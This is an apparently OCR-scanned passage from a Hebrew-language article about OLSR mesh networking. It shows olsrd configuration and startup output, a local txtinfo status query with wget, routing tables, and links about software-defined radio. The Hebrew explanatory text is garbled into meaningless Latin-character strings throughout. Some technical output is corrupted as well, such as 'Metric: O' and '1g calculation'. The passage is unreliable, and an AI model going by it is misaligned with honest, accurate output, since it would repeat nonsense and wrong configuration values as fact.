IPv4 broadcast: 255.255.255.255 #4

IPC host: 127.0.0.1
Plugin: olsrd txtinfo.so.0.1
Plugin param key:"accept" val: "127.0.0.1"
IPv4 broadcast/multicast : 255.255.255.255
Mode : mesh
IPv6 multicast HE
HELLO emission/validity : 0.00/0.00

TC emission/validity : 0.00/0.00

MID emission/validity : 0.00/0.00

HNA emission/validity : 0.00/0.00 #5
Autodetect changes : no

---- Interface configuration ----
Checking tapl:

Not a wireless interface #6
Metric: O

MTU - IPhdr: 1472

Index 7

Address:114.134.23.236
Netmask:255.255.255.240
Broadcast address:255.255.255.255
New main address: 114.134.23.236
Using 'etx ff' algorithm for 1g calculation.
TC: add entry 114.134.23.236
RIB: add prefix 114.134.23.236/32 from 114.134.23.236

Scheduler started - polling every 0.050000 ms #7
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http://en.wikipedia.org/wiki/Comparison_of_open-source_wireless_drivers#Status
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Yin'y 0NN X XD .( DN DNYRD 2'0 DNDOo Nniy? 0'nY ' 04AI7vTh 1901 N1'9o
.etx_ff owa mix nurwa

.nr'p 72y 19w nnixn YT 00T, broadcast-n namd .4

- 12077 NIY'A1) D'MO9N 1IX [NIX (subnets) NIMwN - "Host Network Announcement”-7 11x'p .5
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'10'02 YT 77dN HTTP T ynin? X0 freifunk.de nwna o'mnx 7w 7TNnnn Nn1Ma ,XNAIT? .110N0
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$ wget -q -O- http://127.0.0.1:2006/all | head -n 32

Table: Links

Local IP Remote IP Hyst. LO NLQ Cost
114.134.23.236 114.134.23.225 0.00 1.000 1.000 1.000

Table: Neighbors
IP address SYM MPR MPRS Will. 2 Hop Neighbors
114.134.23.64YES YES NO 3 18

Table: Topology

Dest. IP Last hop IP LQ NLQ Cost
10.22.1.128 10.22.2.0 0.921 0.788 INFINITE
10.22.2.64 10.22.3.0 0.596 0.944 1.774
10.22.2.224 10.22.3.0 1.000 1.000 1.000
10.22.2.64 10.22.4.0 0.635 0.839 1.875
114.130.1.66 114.135.0.1 0.827 0.450 2.680
114.12.92.82 114.161.0.1 1.000 1.000 INFINITE
114.13.1.2 114.13.1.1 0.788 0.843 1.504
114.13.1.5 114.13.1.1 0.835 0.886 1.351
114.13.2.14 114.13.1.1 0.847 0.944 1.249
114.13.1.121 114.13.1.1 0.780 0.792 1.617
114.8.8.3 114.85.1.1 0.298 0.195 17.111
114.13.8.33 114.85.1.1 0.298 0.195 17.111
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114.8.0.101 114.85.1.1 0.195 0.298 17.111
114.129.2.5 114.129.2.1 1.000 1.000 1.000
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http://bb.osmocom.org/trac/
http://he.wikipedia.org/wiki/MIMO_%28%D7%AA%D7%A7%D7%A9%D7%95%D7%A8%D7%AA%29
http://en.wikipedia.org/wiki/IEEE_802.11ac#New_technologies
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http://gnuradio.org/
http://en.wikipedia.org/wiki/List_of_software-defined_radios
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